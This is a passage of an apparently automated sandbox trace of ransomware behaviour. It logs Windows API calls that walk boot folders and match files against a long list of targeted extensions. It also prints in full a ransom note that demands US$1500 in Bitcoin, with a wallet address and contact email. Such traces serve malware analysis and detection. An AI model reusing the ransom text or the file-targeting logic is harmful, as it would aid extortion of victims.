(pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mdb") returned 0 [0124.994] lstrlenA (lpString="*.mdb") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.fdb") returned 0 [0124.994] lstrlenA (lpString="*.fdb") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.wab") returned 0 [0124.995] lstrlenA (lpString="*.wab") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.dat") returned 0 [0124.995] lstrlenA (lpString="*.dat") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.txt") returned 0 [0124.995] lstrlenA (lpString="*.txt") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.jpeg") returned 0 [0124.995] lstrlenA (lpString="*.jpeg") returned 6 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.jpg") returned 0 [0124.995] lstrlenA (lpString="*.jpg") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.png") returned 0 [0124.995] lstrlenA (lpString="*.png") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.php") returned 0 [0124.995] lstrlenA (lpString="*.php") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.cs") returned 0 [0124.995] lstrlenA (lpString="*.cs") returned 4 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.cpp") returned 0 [0124.995] lstrlenA (lpString="*.cpp") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.rar") returned 0 [0124.995] lstrlenA (lpString="*.rar") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.zip") returned 0 [0124.995] lstrlenA (lpString="*.zip") returned 5 [0124.995] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.html") returned 0 [0124.995] lstrlenA (lpString="*.html") returned 6 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.htm") returned 0 [0124.996] lstrlenA (lpString="*.htm") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.xlsx") returned 0 [0124.996] lstrlenA (lpString="*.xlsx") returned 6 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.xls") returned 0 [0124.996] lstrlenA (lpString="*.xls") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mp4") returned 0 [0124.996] lstrlenA (lpString="*.mp4") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.ppt") returned 0 [0124.996] lstrlenA (lpString="*.ppt") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.pptx") returned 0 [0124.996] lstrlenA (lpString="*.pptx") returned 6 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.doc") returned 0 [0124.996] lstrlenA (lpString="*.doc") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.dot") returned 0 [0124.996] lstrlenA (lpString="*.dot") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.docx") returned 0 [0124.996] lstrlenA (lpString="*.docx") returned 6 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.7z") returned 0 [0124.996] lstrlenA (lpString="*.7z") returned 4 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.tar") returned 0 [0124.996] lstrlenA (lpString="*.tar") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.bz2") returned 0 [0124.996] lstrlenA (lpString="*.bz2") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.gz") returned 0 [0124.996] lstrlenA (lpString="*.gz") returned 4 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mkv") returned 0 [0124.996] lstrlenA (lpString="*.mkv") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.eml") returned 0 [0124.996] lstrlenA (lpString="*.eml") returned 5 [0124.996] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.msg") returned 0 [0124.997] lstrlenA (lpString="*.msg") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.edb") returned 0 [0124.997] lstrlenA (lpString="*.edb") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.accdb") returned 0 [0124.997] lstrlenA (lpString="*.accdb") returned 7 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.odb") returned 0 [0124.997] lstrlenA (lpString="*.odb") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.java") returned 0 [0124.997] lstrlenA (lpString="*.java") returned 6 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.asm") returned 0 [0124.997] lstrlenA (lpString="*.asm") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.pfx") returned 0 [0124.997] lstrlenA (lpString="*.pfx") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.pem") returned 0 [0124.997] lstrlenA (lpString="*.pem") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.p12") returned 0 [0124.997] lstrlenA (lpString="*.p12") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.gpg") returned 0 [0124.997] lstrlenA (lpString="*.gpg") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.vsd") returned 0 [0124.997] lstrlenA (lpString="*.vsd") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.odg") returned 0 [0124.997] lstrlenA (lpString="*.odg") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.raw") returned 0 [0124.997] lstrlenA (lpString="*.raw") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.nef") returned 0 [0124.997] lstrlenA (lpString="*.nef") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.svg") returned 0 [0124.997] lstrlenA (lpString="*.svg") returned 5 [0124.997] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.psd") returned 0 [0124.997] lstrlenA (lpString="*.psd") returned 5 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.vmx") returned 0 [0124.998] lstrlenA (lpString="*.vmx") returned 5 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.vmdk") returned 0 [0124.998] lstrlenA (lpString="*.vmdk") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.vdi") returned 0 [0124.998] lstrlenA (lpString="*.vdi") returned 5 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.lay6") returned 0 [0124.998] lstrlenA (lpString="*.lay6") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mpeg") returned 0 [0124.998] lstrlenA (lpString="*.mpeg") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.djvu") returned 0 [0124.998] lstrlenA (lpString="*.djvu") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.tiff") returned 0 [0124.998] lstrlenA (lpString="*.tiff") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.backup") returned 0 [0124.998] lstrlenA (lpString="*.backup") returned 8 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.pdf") returned 0 [0124.998] lstrlenA (lpString="*.pdf") returned 5 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.cert") returned 0 [0124.998] lstrlenA (lpString="*.cert") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.docm") returned 0 [0124.998] lstrlenA (lpString="*.docm") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.xlsm") returned 0 [0124.998] lstrlenA (lpString="*.xlsm") returned 6 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.dwg") returned 0 [0124.998] lstrlenA (lpString="*.dwg") returned 5 [0124.998] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.nd") returned 0 [0124.998] lstrlenA (lpString="*.nd") returned 4 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.tlg") returned 0 [0124.999] lstrlenA (lpString="*.tlg") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.lgb") returned 0 [0124.999] lstrlenA (lpString="*.lgb") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mov") returned 0 [0124.999] lstrlenA (lpString="*.mov") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.xdw") returned 0 [0124.999] lstrlenA (lpString="*.xdw") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.ods") returned 0 [0124.999] lstrlenA (lpString="*.ods") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.wav") returned 0 [0124.999] lstrlenA (lpString="*.wav") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mp3") returned 0 [0124.999] lstrlenA (lpString="*.mp3") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.aiff") returned 0 [0124.999] lstrlenA (lpString="*.aiff") returned 6 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.flac") returned 0 [0124.999] lstrlenA (lpString="*.flac") returned 6 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.m4a") returned 0 [0124.999] lstrlenA (lpString="*.m4a") returned 5 [0124.999] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.csv") returned 0 [0124.999] lstrlenA (lpString="*.csv") returned 5 [0124.999] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe67ffc2c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0124.999] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.999] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0125.000] lstrcmpA (lpString1=".", lpString2="de-DE") returned -1 [0125.000] lstrcmpA (lpString1="..", lpString2="de-DE") returned -1 [0125.000] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.000] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="de-DE" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE") returned="C:\\Windows\\Boot\\EFI\\de-DE" [0125.000] lstrlenA (lpString="C:\\Windows\\Boot\\EFI\\de-DE") returned 25 [0125.000] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.000] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.000] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.000] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.000] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.000] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe33a1c4c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3ac5dbc, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7824b2a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.000] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.000] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.000] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.000] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.000] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\de-DE\\*.*") returned="*.*" [0125.001] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\de-DE\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\") returned="C:\\Windows\\Boot\\EFI\\de-DE\\" [0125.001] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\de-DE\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\de-DE\\") returned="" [0125.001] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt" [0125.001] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\de-de\\how to decrypt files.txt")) returned 0xffffffff [0125.001] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\de-de\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.001] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.001] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.001] CloseHandle (hObject=0xffffffff) returned 0 [0125.001] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui" [0125.001] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.001] lstrlenA (lpString="*.ems") returned 5 [0125.001] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.db") returned 0 [0125.001] lstrlenA (lpString="*.db") returned 4 [0125.001] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.dbf") returned 0 [0125.001] lstrlenA (lpString="*.dbf") returned 5 [0125.001] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.myox") returned 0 [0125.001] lstrlenA (lpString="*.myox") returned 6 [0125.001] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.myo") returned 0 [0125.002] lstrlenA (lpString="*.myo") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qbw") returned 0 [0125.002] lstrlenA (lpString="*.qbw") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qbb") returned 0 [0125.002] lstrlenA (lpString="*.qbb") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qbm") returned 0 [0125.002] lstrlenA (lpString="*.qbm") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qbo") returned 0 [0125.002] lstrlenA (lpString="*.qbo") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qbx") returned 0 [0125.002] lstrlenA (lpString="*.qbx") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qba") returned 0 [0125.002] lstrlenA (lpString="*.qba") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qby") returned 0 [0125.002] lstrlenA (lpString="*.qby") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qbj") returned 0 [0125.002] lstrlenA (lpString="*.qbj") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.ofx") returned 0 [0125.002] lstrlenA (lpString="*.ofx") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.qif") returned 0 [0125.002] lstrlenA (lpString="*.qif") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.mye") returned 0 [0125.002] lstrlenA (lpString="*.mye") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.mbox") returned 0 [0125.002] lstrlenA (lpString="*.mbox") returned 6 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0125.002] lstrlenA (lpString="*.eml") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.pst") returned 0 [0125.002] lstrlenA (lpString="*.pst") returned 5 [0125.002] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.ost") returned 0 [0125.003] lstrlenA (lpString="*.ost") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.idx") returned 0 [0125.003] lstrlenA (lpString="*.idx") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.dbx") returned 0 [0125.003] lstrlenA (lpString="*.dbx") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.sql") returned 0 [0125.003] lstrlenA (lpString="*.sql") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.mdb") returned 0 [0125.003] lstrlenA (lpString="*.mdb") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.fdb") returned 0 [0125.003] lstrlenA (lpString="*.fdb") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.wab") returned 0 [0125.003] lstrlenA (lpString="*.wab") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.dat") returned 0 [0125.003] lstrlenA (lpString="*.dat") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.txt") returned 0 [0125.003] lstrlenA (lpString="*.txt") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.jpeg") returned 0 [0125.003] lstrlenA (lpString="*.jpeg") returned 6 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.jpg") returned 0 [0125.003] lstrlenA (lpString="*.jpg") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.png") returned 0 [0125.003] lstrlenA (lpString="*.png") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.php") returned 0 [0125.003] lstrlenA (lpString="*.php") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.cs") returned 0 [0125.003] lstrlenA (lpString="*.cs") returned 4 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.cpp") returned 0 [0125.003] lstrlenA (lpString="*.cpp") returned 5 [0125.003] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.rar") returned 0 [0125.003] lstrlenA (lpString="*.rar") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.zip") returned 0 [0125.004] lstrlenA (lpString="*.zip") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.html") returned 0 [0125.004] lstrlenA (lpString="*.html") returned 6 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.htm") returned 0 [0125.004] lstrlenA (lpString="*.htm") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.xlsx") returned 0 [0125.004] lstrlenA (lpString="*.xlsx") returned 6 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.xls") returned 0 